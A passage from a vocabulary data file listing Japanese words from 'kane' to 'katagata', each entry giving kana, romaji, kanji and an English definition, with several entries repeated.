can\"\n\t},\n\n\t{\n\t\t'kana':'かね',\n\t\t'romaji':'kane',\n\t\t'kanji':'金',\n\t\t'definition':\"money;metal\"\n\t},\n\n\t{\n\t\t'kana':'かね',\n\t\t'romaji':'kane',\n\t\t'kanji':'鐘',\n\t\t'definition':\"bell;chime\"\n\t},\n\n\t{\n\t\t'kana':'かね',\n\t\t'romaji':'kane',\n\t\t'kanji':'金',\n\t\t'definition':\"money;metal\"\n\t},\n\n\t{\n\t\t'kana':'かねごと',\n\t\t'romaji':'kanegoto',\n\t\t'kanji':'予言',\n\t\t'definition':\"prediction;promise;prognostication\"\n\t},\n\n\t{\n\t\t'kana':'かねぐら',\n\t\t'romaji':'kanegura',\n\t\t'kanji':'金庫',\n\t\t'definition':\"safe;vault;treasury;provider of funds\"\n\t},\n\n\t{\n\t\t'kana':'かねもち',\n\t\t'romaji':'kanemochi',\n\t\t'kanji':'金持ち',\n\t\t'definition':\"rich man\"\n\t},\n\n\t{\n\t\t'kana':'かねる',\n\t\t'romaji':'kaneru',\n\t\t'kanji':'兼ねる',\n\t\t'definition':\"to hold (position);to serve;to be unable;to be beyond one's ability;to combine with;to use with;cannot;to hesitate to;to be impatient\"\n\t},\n\n\t{\n\t\t'kana':'かねて',\n\t\t'romaji':'kanete',\n\t\t'kanji':'兼ねて',\n\t\t'definition':\"simultaneously\"\n\t},\n\n\t{\n\t\t'kana':'かねつ',\n\t\t'romaji':'kanetsu',\n\t\t'kanji':'加熱',\n\t\t'definition':\"heating\"\n\t},\n\n\t{\n\t\t'kana':'かんがえ',\n\t\t'romaji':'kangae',\n\t\t'kanji':'考え',\n\t\t'definition':\"thinking;thought;ideas;intention\"\n\t},\n\n\t{\n\t\t'kana':'かんがえる',\n\t\t'romaji':'kangaeru',\n\t\t'kanji':'考える',\n\t\t'definition':\"to consider\"\n\t},\n\n\t{\n\t\t'kana':'かんがい',\n\t\t'romaji':'kangai',\n\t\t'kanji':'感慨',\n\t\t'definition':\"strong feelings;deep emotion\"\n\t},\n\n\t{\n\t\t'kana':'かんげい',\n\t\t'romaji':'kangei',\n\t\t'kanji':'歓迎',\n\t\t'definition':\"welcome;reception\"\n\t},\n\n\t{\n\t\t'kana':'かんげき',\n\t\t'romaji':'kangeki',\n\t\t'kanji':'感激',\n\t\t'definition':\"deep emotion;impression;inspiration\"\n\t},\n\n\t{\n\t\t'kana':'かんげん',\n\t\t'romaji':'kangen',\n\t\t'kanji':'還元',\n\t\t'definition':\"resolution;reduction;return to origins\"\n\t},\n\n\t{\n\t\t'kana':'かんご',\n\t\t'romaji':'kango',\n\t\t'kanji':'漢語',\n\t\t'definition':\"Chinese word;Sino-Japanese word\"\n\t},\n\n\t{\n\t\t'kana':'かんご',\n\t\t'romaji':'kango',\n\t\t'kanji':'看護',\n\t\t'definition':\"nursing;(army) nurse\"\n\t},\n\n\t{\n\t\t'kana':'かんごふ',\n\t\t'romaji':'kangofu',\n\t\t'kanji':'看護婦',\n\t\t'definition':\"nurse\"\n\t},\n\n\t{\n\t\t'kana':'かんい',\n\t\t'romaji':'kani',\n\t\t'kanji':'簡易',\n\t\t'definition':\"simplicity;easiness;quasi-\"\n\t},\n\n\t{\n\t\t'kana':'かんじ',\n\t\t'romaji':'kanji',\n\t\t'kanji':'漢字',\n\t\t'definition':\"Chinese characters;kanji\"\n\t},\n\n\t{\n\t\t'kana':'かんじ',\n\t\t'romaji':'kanji',\n\t\t'kanji':'感じ',\n\t\t'definition':\"feeling;sense;impression\"\n\t},\n\n\t{\n\t\t'kana':'かんじん',\n\t\t'romaji':'kanjin',\n\t\t'kanji':'肝心',\n\t\t'definition':\"essential;fundamental;crucial;vital;main\"\n\t},\n\n\t{\n\t\t'kana':'かんじる',\n\t\t'romaji':'kanjiru',\n\t\t'kanji':'感じる',\n\t\t'definition':\"to feel;to sense;to experience\"\n\t},\n\n\t{\n\t\t'kana':'かんじゃ',\n\t\t'romaji':'kanjya',\n\t\t'kanji':'患者',\n\t\t'definition':\"a patient\"\n\t},\n\n\t{\n\t\t'kana':'かんじょう',\n\t\t'romaji':'kanjyou',\n\t\t'kanji':'感情',\n\t\t'definition':\"emotion(s);feeling(s);sentiment\"\n\t},\n\n\t{\n\t\t'kana':'かんじょう',\n\t\t'romaji':'kanjyou',\n\t\t'kanji':'勘定',\n\t\t'definition':\"calculation;counting;consideration;reckoning;settlement of an account;allowance\"\n\t},\n\n\t{\n\t\t'kana':'かんかく',\n\t\t'romaji':'kankaku',\n\t\t'kanji':'間隔',\n\t\t'definition':\"space;interval;SPC\"\n\t},\n\n\t{\n\t\t'kana':'かんかく',\n\t\t'romaji':'kankaku',\n\t\t'kanji':'感覚',\n\t\t'definition':\"sense;sensation\"\n\t},\n\n\t{\n\t\t'kana':'かんけい',\n\t\t'romaji':'kankei',\n\t\t'kanji':'関係',\n\t\t'definition':\"relation;connection\"\n\t},\n\n\t{\n\t\t'kana':'かんけつ',\n\t\t'romaji':'kanketsu',\n\t\t'kanji':'簡潔',\n\t\t'definition':\"brevity;conciseness;simplicity\"\n\t},\n\n\t{\n\t\t'kana':'かんき',\n\t\t'romaji':'kanki',\n\t\t'kanji':'換気',\n\t\t'definition':\"ventilation\"\n\t},\n\n\t{\n\t\t'kana':'かんき',\n\t\t'romaji':'kanki',\n\t\t'kanji':'寒気',\n\t\t'definition':\"cold;frost;chill\"\n\t},\n\n\t{\n\t\t'kana':'かんこく',\n\t\t'romaji':'kankoku',\n\t\t'kanji':'勧告',\n\t\t'definition':\"advice;counsel;remonstrance;recommendation\"\n\t},\n\n\t{\n\t\t'kana':'かんこう',\n\t\t'romaji':'kankou',\n\t\t'kanji':'観光',\n\t\t'definition':\"sightseeing\"\n\t},\n\n\t{\n\t\t'kana':'かんこう',\n\t\t'romaji':'kankou',\n\t\t'kanji':'慣行',\n\t\t'definition':\"customary practice;habit;traditional event\"\n\t},\n\n\t{\n\t\t'kana':'かんこう',\n\t\t'romaji':'kankou',\n\t\t'kanji':'刊行',\n\t\t'definition':\"publication;issue\"\n\t},\n\n\t{\n\t\t'kana':'かんきゃく',\n\t\t'romaji':'kankyaku',\n\t\t'kanji':'観客',\n\t\t'definition':\"audience;spectator(s)\"\n\t},\n\n\t{\n\t\t'kana':'かんきょう',\n\t\t'romaji':'kankyou',\n\t\t'kanji':'環境',\n\t\t'definition':\"environment;circumstance\"\n\t},\n\n\t{\n\t\t'kana':'かんむりょう',\n\t\t'romaji':'kanmuryou',\n\t\t'kanji':'感無量',\n\t\t'definition':\"deep feeling;inexpressible feeling;filled with emotion\"\n\t},\n\n\t{\n\t\t'kana':'かんねん',\n\t\t'romaji':'kannen',\n\t\t'kanji':'観念',\n\t\t'definition':\"1. idea;notion;conception; 2. sense (e.g. of duty); 3. resignation;preparedness;acceptance\"\n\t},\n\n\t{\n\t\t'kana':'カンニング',\n\t\t'romaji':'kanningu',\n\t\t'kanji':'',\n\t\t'definition':\"cunning;cheat\"\n\t},\n\n\t{\n\t\t'kana':'かのじょ',\n\t\t'romaji':'kanojyo',\n\t\t'kanji':'彼女',\n\t\t'definition':\"she;girl friend;sweetheart\"\n\t},\n\n\t{\n\t\t'kana':'かのう',\n\t\t'romaji':'kanou',\n\t\t'kanji':'可能',\n\t\t'definition':\"possible;practicable;feasible\"\n\t},\n\n\t{\n\t\t'kana':'かんぱい',\n\t\t'romaji':'kanpai',\n\t\t'kanji':'乾杯',\n\t\t'definition':\"toast (drink)\"\n\t},\n\n\t{\n\t\t'kana':'かんぺき',\n\t\t'romaji':'kanpeki',\n\t\t'kanji':'完璧',\n\t\t'definition':\"perfection;completeness;flawless\"\n\t},\n\n\t{\n\t\t'kana':'かんらん',\n\t\t'romaji':'kanran',\n\t\t'kanji':'観覧',\n\t\t'definition':\"viewing\"\n\t},\n\n\t{\n\t\t'kana':'かんれい',\n\t\t'romaji':'kanrei',\n\t\t'kanji':'慣例',\n\t\t'definition':\"custom;precedent;of convention\"\n\t},\n\n\t{\n\t\t'kana':'かんれき',\n\t\t'romaji':'kanreki',\n\t\t'kanji':'還暦',\n\t\t'definition':\"60th birthday\"\n\t},\n\n\t{\n\t\t'kana':'かんれん',\n\t\t'romaji':'kanren',\n\t\t'kanji':'関連',\n\t\t'definition':\"relation;connection;relevance\"\n\t},\n\n\t{\n\t\t'kana':'かんり',\n\t\t'romaji':'kanri',\n\t\t'kanji':'管理',\n\t\t'definition':\"control;management (e.g. of a business)\"\n\t},\n\n\t{\n\t\t'kana':'かんろく',\n\t\t'romaji':'kanroku',\n\t\t'kanji':'貫禄',\n\t\t'definition':\"presence;dignity\"\n\t},\n\n\t{\n\t\t'kana':'かんりょう',\n\t\t'romaji':'kanryou',\n\t\t'kanji':'完了',\n\t\t'definition':\"completion;conclusion\"\n\t},\n\n\t{\n\t\t'kana':'かんりょう',\n\t\t'romaji':'kanryou',\n\t\t'kanji':'官僚',\n\t\t'definition':\"bureaucrat;bureaucracy\"\n\t},\n\n\t{\n\t\t'kana':'かんさい',\n\t\t'romaji':'kansai',\n\t\t'kanji':'関西',\n\t\t'definition':\"Kansai (south-western half of Japan including Osaka)\"\n\t},\n\n\t{\n\t\t'kana':'かんさん',\n\t\t'romaji':'kansan',\n\t\t'kanji':'換算',\n\t\t'definition':\"conversion;change;exchange\"\n\t},\n\n\t{\n\t\t'kana':'かんさつ',\n\t\t'romaji':'kansatsu',\n\t\t'kanji':'観察',\n\t\t'definition':\"observation;survey\"\n\t},\n\n\t{\n\t\t'kana':'かんせい',\n\t\t'romaji':'kansei',\n\t\t'kanji':'完成',\n\t\t'definition':\"1. complete;completion; 2. perfection;accomplishment\"\n\t},\n\n\t{\n\t\t'kana':'かんせい',\n\t\t'romaji':'kansei',\n\t\t'kanji':'歓声',\n\t\t'definition':\"cheer;shout of joy\"\n\t},\n\n\t{\n\t\t'kana':'かんせん',\n\t\t'romaji':'kansen',\n\t\t'kanji':'幹線',\n\t\t'definition':\"main line;trunk line\"\n\t},\n\n\t{\n\t\t'kana':'かんせん',\n\t\t'romaji':'kansen',\n\t\t'kanji':'感染',\n\t\t'definition':\"infection;contagion\"\n\t},\n\n\t{\n\t\t'kana':'かんせつ',\n\t\t'romaji':'kansetsu',\n\t\t'kanji':'間接',\n\t\t'definition':\"indirection;indirectness\"\n\t},\n\n\t{\n\t\t'kana':'かんしゃ',\n\t\t'romaji':'kansha',\n\t\t'kanji':'感謝',\n\t\t'definition':\"thanks;gratitude\"\n\t},\n\n\t{\n\t\t'kana':'かんし',\n\t\t'romaji':'kanshi',\n\t\t'kanji':'監視',\n\t\t'definition':\"observation;guarding;inspection;surveillance\"\n\t},\n\n\t{\n\t\t'kana':'かんしん',\n\t\t'romaji':'kanshin',\n\t\t'kanji':'関心',\n\t\t'definition':\"concern;interest\"\n\t},\n\n\t{\n\t\t'kana':'かんしん',\n\t\t'romaji':'kanshin',\n\t\t'kanji':'感心',\n\t\t'definition':\"admiration;Well done!\"\n\t},\n\n\t{\n\t\t'kana':'かんしょく',\n\t\t'romaji':'kanshoku',\n\t\t'kanji':'感触',\n\t\t'definition':\"sense of touch;feeling;sensation\"\n\t},\n\n\t{\n\t\t'kana':'かんしょう',\n\t\t'romaji':'kanshou',\n\t\t'kanji':'鑑賞',\n\t\t'definition':\"appreciation\"\n\t},\n\n\t{\n\t\t'kana':'かんしょう',\n\t\t'romaji':'kanshou',\n\t\t'kanji':'干渉',\n\t\t'definition':\"interference;intervention\"\n\t},\n\n\t{\n\t\t'kana':'かんしゅう',\n\t\t'romaji':'kanshuu',\n\t\t'kanji':'観衆',\n\t\t'definition':\"spectators;onlookers;members of the audience\"\n\t},\n\n\t{\n\t\t'kana':'かんしゅう',\n\t\t'romaji':'kanshuu',\n\t\t'kanji':'慣習',\n\t\t'definition':\"usual (historical) custom\"\n\t},\n\n\t{\n\t\t'kana':'かんそ',\n\t\t'romaji':'kanso',\n\t\t'kanji':'簡素',\n\t\t'definition':\"simplicity;plain\"\n\t},\n\n\t{\n\t\t'kana':'かんそく',\n\t\t'romaji':'kansoku',\n\t\t'kanji':'観測',\n\t\t'definition':\"observation\"\n\t},\n\n\t{\n\t\t'kana':'かんそう',\n\t\t'romaji':'kansou',\n\t\t'kanji':'感想',\n\t\t'definition':\"impressions;thoughts\"\n\t},\n\n\t{\n\t\t'kana':'かんそう',\n\t\t'romaji':'kansou',\n\t\t'kanji':'乾燥',\n\t\t'definition':\"dry;arid;insipid;dehydrated\"\n\t},\n\n\t{\n\t\t'kana':'かんする',\n\t\t'romaji':'kansuru',\n\t\t'kanji':'関する',\n\t\t'definition':\"to concern;to be related\"\n\t},\n\n\t{\n\t\t'kana':'かんたい',\n\t\t'romaji':'kantai',\n\t\t'kanji':'寒帯',\n\t\t'definition':\"frigid zone\"\n\t},\n\n\t{\n\t\t'kana':'かんたん',\n\t\t'romaji':'kantan',\n\t\t'kanji':'簡単',\n\t\t'definition':\"simple\"\n\t},\n\n\t{\n\t\t'kana':'かんてん',\n\t\t'romaji':'kanten',\n\t\t'kanji':'観点',\n\t\t'definition':\"point of view\"\n\t},\n\n\t{\n\t\t'kana':'かんとく',\n\t\t'romaji':'kantoku',\n\t\t'kanji':'監督',\n\t\t'definition':\"supervision;control;superintendence\"\n\t},\n\n\t{\n\t\t'kana':'かんとう',\n\t\t'romaji':'kantou',\n\t\t'kanji':'関東',\n\t\t'definition':\"Kantou (eastern half of Japan including Tokyo)\"\n\t},\n\n\t{\n\t\t'kana':'かんわ',\n\t\t'romaji':'kanwa',\n\t\t'kanji':'漢和',\n\t\t'definition':\"Chinese Character-Japanese (e.g. dictionary)\"\n\t},\n\n\t{\n\t\t'kana':'かんわ',\n\t\t'romaji':'kanwa',\n\t\t'kanji':'緩和',\n\t\t'definition':\"relief;mitigation\"\n\t},\n\n\t{\n\t\t'kana':'かんよ',\n\t\t'romaji':'kanyo',\n\t\t'kanji':'関与',\n\t\t'definition':\"participation;taking part in;participating in;being concerned in\"\n\t},\n\n\t{\n\t\t'kana':'かんよう',\n\t\t'romaji':'kanyou',\n\t\t'kanji':'寛容',\n\t\t'definition':\"forbearance;tolerance;generosity\"\n\t},\n\n\t{\n\t\t'kana':'かんよう',\n\t\t'romaji':'kanyou',\n\t\t'kanji':'慣用',\n\t\t'definition':\"common;customary\"\n\t},\n\n\t{\n\t\t'kana':'かんゆう',\n\t\t'romaji':'kanyuu',\n\t\t'kanji':'勧誘',\n\t\t'definition':\"invitation;solicitation;canvassing;inducement;persuasion;encouragement\"\n\t},\n\n\t{\n\t\t'kana':'かにゅう',\n\t\t'romaji':'kanyuu',\n\t\t'kanji':'加入',\n\t\t'definition':\"becoming a member;joining;entry;admission;subscription;affiliation;adherence;signing\"\n\t},\n\n\t{\n\t\t'kana':'かんぜい',\n\t\t'romaji':'kanzei',\n\t\t'kanji':'関税',\n\t\t'definition':\"customs;duty;tariff\"\n\t},\n\n\t{\n\t\t'kana':'かんぜん',\n\t\t'romaji':'kanzen',\n\t\t'kanji':'完全',\n\t\t'definition':\"perfection;completeness\"\n\t},\n\n\t{\n\t\t'kana':'かんずる',\n\t\t'romaji':'kanzuru',\n\t\t'kanji':'感ずる',\n\t\t'definition':\"to feel;to sense\"\n\t},\n\n\t{\n\t\t'kana':'かお',\n\t\t'romaji':'kao',\n\t\t'kanji':'顔',\n\t\t'definition':\"face (person)\"\n\t},\n\n\t{\n\t\t'kana':'かおく',\n\t\t'romaji':'kaoku',\n\t\t'kanji':'家屋',\n\t\t'definition':\"house;building\"\n\t},\n\n\t{\n\t\t'kana':'かおり',\n\t\t'romaji':'kaori',\n\t\t'kanji':'香り',\n\t\t'definition':\"aroma;fragrance;scent;smell\"\n\t},\n\n\t{\n\t\t'kana':'かおつき',\n\t\t'romaji':'kaotsuki',\n\t\t'kanji':'顔付き',\n\t\t'definition':\"(outward) looks;features;face;countenance;expression\"\n\t},\n\n\t{\n\t\t'kana':'カーペット',\n\t\t'romaji':'ka-peto',\n\t\t'kanji':'',\n\t\t'definition':\"carpet\"\n\t},\n\n\t{\n\t\t'kana':'かっぱつ',\n\t\t'romaji':'kappatsu',\n\t\t'kanji':'活発',\n\t\t'definition':\"vigor;active\"\n\t},\n\n\t{\n\t\t'kana':'カップ',\n\t\t'romaji':'kapu',\n\t\t'kanji':'',\n\t\t'definition':\"cup\"\n\t},\n\n\t{\n\t\t'kana':'から',\n\t\t'romaji':'kara',\n\t\t'kanji':'空',\n\t\t'definition':\"emptiness\"\n\t},\n\n\t{\n\t\t'kana':'から',\n\t\t'romaji':'kara',\n\t\t'kanji':'空',\n\t\t'definition':\"emptiness\"\n\t},\n\n\t{\n\t\t'kana':'から',\n\t\t'romaji':'kara',\n\t\t'kanji':'殻',\n\t\t'definition':\"shell;husk;hull;chaff\"\n\t},\n\n\t{\n\t\t'kana':'から',\n\t\t'romaji':'kara',\n\t\t'kanji':'空',\n\t\t'definition':\"emptiness\"\n\t},\n\n\t{\n\t\t'kana':'カラー',\n\t\t'romaji':'kara-',\n\t\t'kanji':'',\n\t\t'definition':\"collar;color;colour\"\n\t},\n\n\t{\n\t\t'kana':'からだ',\n\t\t'romaji':'karada',\n\t\t'kanji':'身体',\n\t\t'definition':\"the body\"\n\t},\n\n\t{\n\t\t'kana':'からだ',\n\t\t'romaji':'karada',\n\t\t'kanji':'体',\n\t\t'definition':\"body;health\"\n\t},\n\n\t{\n\t\t'kana':'からだつき',\n\t\t'romaji':'karadatsuki',\n\t\t'kanji':'体付き',\n\t\t'definition':\"body build;figure\"\n\t},\n\n\t{\n\t\t'kana':'からい',\n\t\t'romaji':'karai',\n\t\t'kanji':'辛い',\n\t\t'definition':\"hot (spicy);salty;tough (on someone);adverse;harsh\"\n\t},\n\n\t{\n\t\t'kana':'からい',\n\t\t'romaji':'karai',\n\t\t'kanji':'辛い',\n\t\t'definition':\"hot (spicy);salty;tough (on someone);adverse;harsh\"\n\t},\n\n\t{\n\t\t'kana':'からい',\n\t\t'romaji':'karai',\n\t\t'kanji':'辛い',\n\t\t'definition':\"hot (spicy);salty;tough (on someone);adverse;harsh\"\n\t},\n\n\t{\n\t\t'kana':'からかう',\n\t\t'romaji':'karakau',\n\t\t'kanji':'揶揄う',\n\t\t'definition':\"to ridicule;to tease;to banter with;to make fun of\"\n\t},\n\n\t{\n\t\t'kana':'からむ',\n\t\t'romaji':'karamu',\n\t\t'kanji':'絡む',\n\t\t'definition':\"to entangle;to entwine\"\n\t},\n\n\t{\n\t\t'kana':'からっぽ',\n\t\t'romaji':'karapo',\n\t\t'kanji':'空っぽ',\n\t\t'definition':\"empty;vacant;hollow\"\n\t},\n\n\t{\n\t\t'kana':'かれ',\n\t\t'romaji':'kare',\n\t\t'kanji':'彼',\n\t\t'definition':\"he;boyfriend\"\n\t},\n\n\t{\n\t\t'kana':'カレー',\n\t\t'romaji':'kare-',\n\t\t'kanji':'',\n\t\t'definition':\"curry (abbr. for curry and rice)\"\n\t},\n\n\t{\n\t\t'kana':'カレンダー',\n\t\t'romaji':'karenda-',\n\t\t'kanji':'',\n\t\t'definition':\"calendar\"\n\t},\n\n\t{\n\t\t'kana':'かれら',\n\t\t'romaji':'karera',\n\t\t'kanji':'彼等',\n\t\t'definition':\"they\"\n\t},\n\n\t{\n\t\t'kana':'かれる',\n\t\t'romaji':'kareru',\n\t\t'kanji':'枯れる',\n\t\t'definition':\"to wither;to die (plant);to be blasted (plant)\"\n\t},\n\n\t{\n\t\t'kana':'かれる',\n\t\t'romaji':'kareru',\n\t\t'kanji':'涸れる',\n\t\t'definition':\"to dry up;to run out\"\n\t},\n\n\t{\n\t\t'kana':'かり',\n\t\t'romaji':'kari',\n\t\t'kanji':'下吏',\n\t\t'definition':\"lower official\"\n\t},\n\n\t{\n\t\t'kana':'かり',\n\t\t'romaji':'kari',\n\t\t'kanji':'借り',\n\t\t'definition':\"borrowing;debt;loan\"\n\t},\n\n\t{\n\t\t'kana':'かりる',\n\t\t'romaji':'kariru',\n\t\t'kanji':'借りる',\n\t\t'definition':\"to borrow;to have a loan;to hire;to rent;to buy on credit\"\n\t},\n\n\t{\n\t\t'kana':'カロリー',\n\t\t'romaji':'karori-',\n\t\t'kanji':'',\n\t\t'definition':\"calorie\"\n\t},\n\n\t{\n\t\t'kana':'かろう',\n\t\t'romaji':'karou',\n\t\t'kanji':'過労',\n\t\t'definition':\"overwork;strain\"\n\t},\n\n\t{\n\t\t'kana':'かろうじて',\n\t\t'romaji':'karoujite',\n\t\t'kanji':'辛うじて',\n\t\t'definition':\"barely;narrowly;just manage to do st\"\n\t},\n\n\t{\n\t\t'kana':'かる',\n\t\t'romaji':'karu',\n\t\t'kanji':'刈る',\n\t\t'definition':\"to cut (hair);to mow (grass);to harvest;to clip;to shear;to reap;to trim;to prune\"\n\t},\n\n\t{\n\t\t'kana':'かるい',\n\t\t'romaji':'karui',\n\t\t'kanji':'軽い',\n\t\t'definition':\"light;non-serious;minor\"\n\t},\n\n\t{\n\t\t'kana':'かるた',\n\t\t'romaji':'karuta',\n\t\t'kanji':'加留多',\n\t\t'definition':\"(pt:) (n) playing cards (pt: carta)\"\n\t},\n\n\t{\n\t\t'kana':'カルテ',\n\t\t'romaji':'karute',\n\t\t'kanji':'',\n\t\t'definition':\"(de:) (n) clinical records (de: Karte)\"\n\t},\n\n\t{\n\t\t'kana':'かさ',\n\t\t'romaji':'kasa',\n\t\t'kanji':'傘',\n\t\t'definition':\"shape;umbrella;parasol\"\n\t},\n\n\t{\n\t\t'kana':'かさばる',\n\t\t'romaji':'kasabaru',\n\t\t'kanji':'嵩張る',\n\t\t'definition':\"to be bulky;to be unwieldy;to grow voluminous\"\n\t},\n\n\t{\n\t\t'kana':'かさい',\n\t\t'romaji':'kasai',\n\t\t'kanji':'火災',\n\t\t'definition':\"conflagration;fire\"\n\t},\n\n\t{\n\t\t'kana':'かさむ',\n\t\t'romaji':'kasamu',\n\t\t'kanji':'嵩む',\n\t\t'definition':\"to pile up;to increase\"\n\t},\n\n\t{\n\t\t'kana':'かさねる',\n\t\t'romaji':'kasaneru',\n\t\t'kanji':'重ねる',\n\t\t'definition':\"to pile up;to put something on another;to heap up;to add;to repeat\"\n\t},\n\n\t{\n\t\t'kana':'かせぐ',\n\t\t'romaji':'kasegu',\n\t\t'kanji':'稼ぐ',\n\t\t'definition':\"to earn income;to labor\"\n\t},\n\n\t{\n\t\t'kana':'かせい',\n\t\t'romaji':'kasei',\n\t\t'kanji':'火星',\n\t\t'definition':\"Mars (planet)\"\n\t},\n\n\t{\n\t\t'kana':'かせき',\n\t\t'romaji':'kaseki',\n\t\t'kanji':'化石',\n\t\t'definition':\"fossil;petrifaction;fossilization\"\n\t},\n\n\t{\n\t\t'kana':'かせん',\n\t\t'romaji':'kasen',\n\t\t'kanji':'下線',\n\t\t'definition':\"underline;underscore\"\n\t},\n\n\t{\n\t\t'kana':'かせん',\n\t\t'romaji':'kasen',\n\t\t'kanji':'化繊',\n\t\t'definition':\"synthetic fibres\"\n\t},\n\n\t{\n\t\t'kana':'かせん',\n\t\t'romaji':'kasen',\n\t\t'kanji':'河川',\n\t\t'definition':\"rivers\"\n\t},\n\n\t{\n\t\t'kana':'カセット',\n\t\t'romaji':'kaseto',\n\t\t'kanji':'',\n\t\t'definition':\"cassette (tape)\"\n\t},\n\n\t{\n\t\t'kana':'かしゃ',\n\t\t'romaji':'kasha',\n\t\t'kanji':'華奢',\n\t\t'definition':\"luxury;pomp;delicate;slender;gorgeous\"\n\t},\n\n\t{\n\t\t'kana':'かし',\n\t\t'romaji':'kashi',\n\t\t'kanji':'菓子',\n\t\t'definition':\"pastry\"\n\t},\n\n\t{\n\t\t'kana':'かし',\n\t\t'romaji':'kashi',\n\t\t'kanji':'貸し',\n\t\t'definition':\"loan;lending\"\n\t},\n\n\t{\n\t\t'kana':'かしだし',\n\t\t'romaji':'kashidashi',\n\t\t'kanji':'貸し出し',\n\t\t'definition':\"lending;loaning\"\n\t},\n\n\t{\n\t\t'kana':'かしこい',\n\t\t'romaji':'kashikoi',\n\t\t'kanji':'賢い',\n\t\t'definition':\"wise;clever;smart\"\n\t},\n\n\t{\n\t\t'kana':'かしこまりました',\n\t\t'romaji':'kashikomarimashita',\n\t\t'kanji':'畏まりました',\n\t\t'definition':\"certainly!\"\n\t},\n\n\t{\n\t\t'kana':'かしま',\n\t\t'romaji':'kashima',\n\t\t'kanji':'貸間',\n\t\t'definition':\"room to let\"\n\t},\n\n\t{\n\t\t'kana':'かしつ',\n\t\t'romaji':'kashitsu',\n\t\t'kanji':'過失',\n\t\t'definition':\"error;blunder;accident\"\n\t},\n\n\t{\n\t\t'kana':'かしや',\n\t\t'romaji':'kashiya',\n\t\t'kanji':'貸家',\n\t\t'definition':\"house for rent\"\n\t},\n\n\t{\n\t\t'kana':'かしょ',\n\t\t'romaji':'kasho',\n\t\t'kanji':'箇所',\n\t\t'definition':\"passage;place;point;part\"\n\t},\n\n\t{\n\t\t'kana':'かしょう',\n\t\t'romaji':'kashou',\n\t\t'kanji':'火傷',\n\t\t'definition':\"burn;scald\"\n\t},\n\n\t{\n\t\t'kana':'かしゅ',\n\t\t'romaji':'kashu',\n\t\t'kanji':'歌手',\n\t\t'definition':\"singer\"\n\t},\n\n\t{\n\t\t'kana':'かそ',\n\t\t'romaji':'kaso',\n\t\t'kanji':'過疎',\n\t\t'definition':\"depopulation\"\n\t},\n\n\t{\n\t\t'kana':'かそく',\n\t\t'romaji':'kasoku',\n\t\t'kanji':'加速',\n\t\t'definition':\"acceleration\"\n\t},\n\n\t{\n\t\t'kana':'かそくど',\n\t\t'romaji':'kasokudo',\n\t\t'kanji':'加速度',\n\t\t'definition':\"acceleration\"\n\t},\n\n\t{\n\t\t'kana':'かす',\n\t\t'romaji':'kasu',\n\t\t'kanji':'貸す',\n\t\t'definition':\"to lend\"\n\t},\n\n\t{\n\t\t'kana':'かすか',\n\t\t'romaji':'kasuka',\n\t\t'kanji':'微か',\n\t\t'definition':\"faint;dim;weak;indistinct;hazy;poor;wretched\"\n\t},\n\n\t{\n\t\t'kana':'かすむ',\n\t\t'romaji':'kasumu',\n\t\t'kanji':'霞む',\n\t\t'definition':\"to grow hazy;to be misty\"\n\t},\n\n\t{\n\t\t'kana':'かする',\n\t\t'romaji':'kasuru',\n\t\t'kanji':'擦る',\n\t\t'definition':\"to touch lightly;to take a percentage (from)\"\n\t},\n\n\t{\n\t\t'kana':'かする',\n\t\t'romaji':'kasuru',\n\t\t'kanji':'擦る',\n\t\t'definition':\"to touch lightly;to take a percentage (from)\"\n\t},\n\n\t{\n\t\t'kana':'かする',\n\t\t'romaji':'kasuru',\n\t\t'kanji':'擦る',\n\t\t'definition':\"to touch lightly;to take a percentage (from)\"\n\t},\n\n\t{\n\t\t'kana':'かする',\n\t\t'romaji':'kasuru',\n\t\t'kanji':'化する',\n\t\t'definition':\"to change into;to convert into;to transform;to be reduced;to influence;to improve (someone)\"\n\t},\n\n\t{\n\t\t'kana':'かた',\n\t\t'romaji':'kata',\n\t\t'kanji':'方',\n\t\t'definition':\"person\"\n\t},\n\n\t{\n\t\t'kana':'かた',\n\t\t'romaji':'kata',\n\t\t'kanji':'過多',\n\t\t'definition':\"excess;superabundance\"\n\t},\n\n\t{\n\t\t'kana':'かた',\n\t\t'romaji':'kata',\n\t\t'kanji':'型',\n\t\t'definition':\"mold;model;style;shape;data-type\"\n\t},\n\n\t{\n\t\t'kana':'かた',\n\t\t'romaji':'kata',\n\t\t'kanji':'方',\n\t\t'definition':\"person\"\n\t},\n\n\t{\n\t\t'kana':'かた',\n\t\t'romaji':'kata',\n\t\t'kanji':'肩',\n\t\t'definition':\"shoulder\"\n\t},\n\n\t{\n\t\t'kana':'かた',\n\t\t'romaji':'kata',\n\t\t'kanji':'型',\n\t\t'definition':\"mold;model;style;shape;data-type\"\n\t},\n\n\t{\n\t\t'kana':'かた',\n\t\t'romaji':'kata',\n\t\t'kanji':'方',\n\t\t'definition':\"person\"\n\t},\n\n\t{\n\t\t'kana':'かたぶく',\n\t\t'romaji':'katabuku',\n\t\t'kanji':'傾く',\n\t\t'definition':\"to incline toward;to slant;to lurch;to heel over;to be disposed to;to trend toward;to be prone to;to go down (sun);to wane;to sink;to decline\"\n\t},\n\n\t{\n\t\t'kana':'かたち',\n\t\t'romaji':'katachi',\n\t\t'kanji':'形',\n\t\t'definition':\"form;shape;figure;type\"\n\t},\n\n\t{\n\t\t'kana':'かたち',\n\t\t'romaji':'katachi',\n\t\t'kanji':'形',\n\t\t'definition':\"form;shape;figure;type\"\n\t},\n\n\t{\n\t\t'kana':'かたづけ',\n\t\t'romaji':'kataduke',\n\t\t'kanji':'片付け',\n\t\t'definition':\"tidying up;finishing\"\n\t},\n\n\t{\n\t\t'kana':'かたづける',\n\t\t'romaji':'katadukeru',\n\t\t'kanji':'片付ける',\n\t\t'definition':\"to tidy up;to put in order;to straighten up;to put away\"\n\t},\n\n\t{\n\t\t'kana':'かたづく',\n\t\t'romaji':'kataduku',\n\t\t'kanji':'片付く',\n\t\t'definition':\"to put in order;to dispose of;to solve;to finish;to get married\"\n\t},\n\n\t{\n\t\t'kana':'かたがた',\n\t\t'romaji':'katagata',\n\t\t'kanji':'方々',\n\t\t'definition':\"persons;this and that;here and there;everywhere;any way;all sides;all gentlemen;all people\"\n\t},\n\n\t{\n\t\t'kana':'かたがた',\n\t\t'romaji':'katagata',\n\t\t'kanji':'方々',\n\t\t'definition':\"persons;this and that;here and there;everywhere;any way;all sides;all gentlemen;all 